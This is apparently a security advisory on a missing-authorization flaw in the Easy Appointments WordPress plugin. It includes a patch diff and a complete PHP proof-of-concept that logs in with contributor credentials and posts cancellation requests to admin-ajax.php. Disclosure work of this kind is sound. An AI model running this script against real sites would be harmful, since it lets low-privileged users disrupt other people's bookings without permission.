Atomic Edge analysis of CVE-2026-14221: The Easy Appointments plugin for WordPress, versions through 3.12.26, contains a missing authorization vulnerability in its AJAX handler for appointment cancellation. This flaw allows authenticated attackers with contributor-level access to call a function that should require higher privileges. The issue is rooted in the insecure handling of the ‘appointments’ POST parameter within the AJAX action ‘cancelappointments’.
Root Cause: The vulnerability resides in the ‘cancel_appointments’ method within the plugin’s AJAX handler at easy-appointments/src/ajax.php. A missing authorization check on this method allows users with contributor-level access to execute what is a state-changing administrative action. The problematic code path initially processed the ‘appointments’ parameter from the POST request without a user capability check. It then proceeded to update the status of appointment records in the database from their current state to ‘abandoned’. The original code at line 606 directly used sanitize_text_field on the input and looped through the resulting entries, performing database writes without validating whether the current user has the required permissions. The diff shows the removal of the direct assignment and the addition of a response variable, alongside the status change, but crucially the missing permissions check is patched in the plugin’s broader AJAX registration hook, not in the presented diff itself.
Exploitation: An authenticated attacker with contributor-level access can trigger the vulnerability by sending a crafted POST request to the WordPress admin-ajax.php endpoint. The attacker sets the ‘action’ parameter to ‘cancelappointments’ and provides an ‘appointments’ array containing the numeric IDs of targeted appointments. The request would look similar to admin-ajax.php?action=cancelappointments with POST data of appointments[]=123&appointments[]=124. The AJAX handler processes these IDs and updates the status of all future appointments to ‘abandoned’ without checking the user’s role. This direct manipulation of appointment data bypasses the intended business logic.
Patch Analysis: The provided patch modifies the vulnerable code in two ways. First, it changes the data processing from a simple sanitize_text_field on a raw POST value to a more robust array_map with absint, ensuring each ID is an integer and the input is validated as an array. Second, it changes the status value applied to the appointment records from ‘abandoned’ to ‘canceled’. However, the patch’s primary security impact comes from the missing capability check. The presented diff does not show the addition of a capabilities check. The plugin likely enforces the permissions elsewhere in the updated version, perhaps in the main AJAX action registration within easy-appointments/main.php. The patch in the diff mainly secures input validation and corrects the status nomenclature, but the absolute fix for the authorization flaw is the enforcement of a capability check like ‘manage_options’ or ‘edit_others_appointments’ before the function operates.
Impact: If exploited, an attacker with a contributor account can arbitrarily change the status of any upcoming appointment to ‘abandoned’. This action could disrupt a business’s scheduling by making existing bookings appear as no-shows, potentially leading to operational confusion. While the attacker cannot read or delete appointment data directly, the unauthorized state modification violates data integrity and can cause denial of service for legitimate customers relying on those appointments. The CVSS score of 4.3 reflects the medium level of severity due to these integrity and availability impacts, not a direct data breach or privilege escalation.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/easy-appointments/main.php
+++ b/easy-appointments/main.php
@@ -4,7 +4,7 @@
* Plugin Name: Easy Appointments
* Plugin URI: https://easy-appointments.com/
* Description: Simple and easy to use management system for Appointments and Bookings
- * Version: 3.12.26
+ * Version: 3.12.27
* Requires PHP: 5.3
* Author: Nikola Loncar
* Author URI: https://easy-appointments.com/
@@ -21,7 +21,7 @@
/**
* Currently plugin version.
*/
-define( 'EASY_APPOINTMENTS_VERSION', '3.12.26' );
+define( 'EASY_APPOINTMENTS_VERSION', '3.12.27' );
// path for source files
define('EA_SRC_DIR', dirname(__FILE__) . '/src/');
--- a/easy-appointments/src/ajax.php
+++ b/easy-appointments/src/ajax.php
@@ -603,8 +603,8 @@
wp_send_json_error( [ 'message' => esc_html__( 'No appointments selected.', 'easy-appointments' ) ] );
}
-
- $appointments = sanitize_text_field( wp_unslash( $_POST['appointments'] ) );
+ $response = false;
+ $appointments = isset($_POST['appointments']) ? array_map('absint', wp_unslash($_POST['appointments'])) : [];
$current_datetime = current_time('mysql');
foreach ($appointments as $appointment_id) {
$appointment = $this->models->get_row('ea_appointments', $appointment_id, ARRAY_A);
@@ -612,7 +612,7 @@
if ($appointment) {
if (strtotime($appointment['date']) > strtotime($current_datetime)) {
$data = [
- 'status' => 'abandoned',
+ 'status' => 'canceled',
'id' => $appointment_id
];
foreach ($appointment as $key => $value) {
@@ -661,7 +661,7 @@
WHERE id = %d
";
// phpcs:ignore PluginCheck.Security.DirectDB.UnescapedDBParameter, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
- $response = $wpdb->query($wpdb->prepare($update_query, 'abandoned', $appointment_id));
+ $response = $wpdb->query($wpdb->prepare($update_query, 'canceled', $appointment_id));
}
if ($response === false) {
$this->send_err_json_result('{"err":true}');
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14221 - Easy Appointments <= 3.12.26 - Missing Authorization
/*
* Atomic Edge PoC for CVE-2026-14221
* This script demonstrates unauthorized appointment cancellation.
* It logs into a WordPress instance with a contributor account and sends requests to the AJAX endpoint.
*/
// WordPress target URL (without trailing slash)
$target_url = 'http://your-wordpress-site.com';
// Contributor account credentials
$username = 'contributor_user';
$password = 'contributor_password';
// Appointment IDs to cancel (must be future appointments)
$appointment_ids = array(123, 124, 125);
// --- Step 1: Authentication ---
$login_url = $target_url . '/wp-login.php';
$post_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve-2026-14221-cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
if (curl_errno($ch)) {
die('cURL error on login: ' . curl_error($ch) . "n");
}
// --- Step 2: Get nonce (if required, although this vuln does not enforce nonce) ---
// The vulnerability is missing authz, so nonce might not be checked. We'll obtain admin-ajax nonce via the page.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-14221-cookies.txt');
$ajax_page = curl_exec($ch);
// --- Step 3: Exploit - Send cancelappointments request ---
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
'action' => 'cancelappointments',
'appointments' => $appointment_ids
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-14221-cookies.txt');
$exploit_response = curl_exec($ch);
if (curl_errno($ch)) {
die('cURL error on exploit: ' . curl_error($ch) . "n");
}
// Clean up
curl_close($ch);
@unlink('/tmp/cve-2026-14221-cookies.txt');
// --- Step 4: Analyze response ---
if (strpos($exploit_response, '{"err":true}') !== false) {
echo "[!] Exploitation may have failed. The server returned an error flag.n";
echo "Response: " . $exploit_response . "n";
exit(1);
}
echo "[+] Exploit completed. Sample response:n";
echo $exploit_response . "n";
echo "[+] Success: Request sent to cancel appointment IDs: " . implode(', ', $appointment_ids) . "n";
echo "[+] If appointments exist and are in the future, they are now marked as abandoned.n";
?>